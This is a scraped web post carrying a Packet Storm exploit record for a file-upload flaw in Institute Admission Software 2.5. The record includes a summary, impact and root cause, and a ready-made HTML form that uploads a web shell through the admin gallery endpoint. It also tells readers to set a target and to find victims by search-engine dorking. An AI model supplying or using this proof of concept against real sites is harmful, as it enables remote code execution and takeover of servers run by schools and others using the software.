{“lastseen”:”2025-12-19T17:20:05″,”description”:”Institute Admission Software version 2.5 fails to properly validate and restrict uploaded files in the gallery upload functionality within the admin panel…”,”published”:”2025-12-19T00:00:00″,”modified”:”2025-12-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Institute Admission Software 2.5 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:213132″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Institute Admission Software 2.5 Remote File Upload Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 137.0.1 (64 bits) |\\n | # Vendor : https:\/\/softmaart.com\/institute-admission-software.php |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] summary : This vulnerability affects Institute Admission Software v2.5, where the application fails to properly validate and restrict uploaded files in the gallery upload functionality within the admin panel.\\n An attacker can exploit this weakness by directly submitting a crafted multipart\/form-data POST request to the vulnerable endpoint, allowing the upload of arbitrary executable files instead of legitimate images.\\n Due to the absence of strict server-side file type validation, content inspection, and execution controls, \\n \\t\\t\\t a malicious file (e.g. PHP web shell or executable payload) can be successfully uploaded to the publicly accessible \/uploads\/ directory.\\n Once uploaded, the attacker may directly access the file via the browser, potentially leading to Remote Code Execution (RCE) on the target server.\\n \\n [+] Impact includes:\\n \\n Arbitrary file upload\\n \\n Remote command execution\\n \\n Full web application compromise\\n \\n Possible server takeover depending on permissions\\n \\n [+] Root Cause:\\n \\n Missing MIME-type and extension validation\\n \\n No server-side file execution restrictions\\n \\n Insecure upload directory exposure\\n \\n [+] Severity: High\\n \\n Attack Vector: Remote \/ Unauthenticated (depending on admin access exposure)\\n \\n This issue highlights a critical failure in secure file handling practices and emphasizes the necessity of enforcing strict upload validation, randomized file naming, execution blocking, and proper access controls.\\n \\n [+] The following html code uploads a executable malicious file remotely .\\n \\n [+] Save code As : poc.html\\n \\n [+] Line 01 set your Target\\n \\n [+] Link to the uploaded files :\/uoploads\/\\n \\n [+] use payload : \\n \\t\\n \\u003cform action=\\”http:\/\/127.0.0.1\/gpgcgairsain.ac.in\/admin_panel\/gallery.php?id=19\\” method=\\”POST\\” enctype=\\”multipart\/form-data\\”\\u003e\\n \\u003clabel for=\\”event\\”\\u003eEvent:\\u003c\/label\\u003e\\n \\u003cselect name=\\”event\\” id=\\”event\\”\\u003e\\n \\u003coption value=\\”19\\”\\u003eHindi Departmental Programme\\u003c\/option\\u003e\\n \\u003c!– \u064a\u0645\u0643\u0646\u0643 \u0625\u0636\u0627\u0641\u0629 \u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0647\u0646\u0627 –\\u003e\\n \\u003c\/select\\u003e\\n \\u003cbr\\u003e\\u003cbr\\u003e\\n \\n \\u003clabel for=\\”photo\\”\\u003ePhoto:\\u003c\/label\\u003e\\n \\u003cinput type=\\”file\\” name=\\”photo\\” id=\\”photo\\” accept=\\”image\/*\\”\\u003e\\n \\u003cbr\\u003e\\u003cbr\\u003e\\n \\n \\u003cinput type=\\”hidden\\” name=\\”db_photo\\” value=\\”\\”\\u003e\\n \\n \\u003cinput type=\\”submit\\” name=\\”submit\\” value=\\”Upload\\”\\u003e\\n \\u003c\/form\\u003e\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213132″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213132\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-19T17:20:05″,”description”:”Institute Admission Software version 2.5 fails to properly validate and restrict uploaded files in the gallery upload functionality within the admin panel…”,”published”:”2025-12-19T00:00:00″,”modified”:”2025-12-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Institute Admission Software…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32289","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n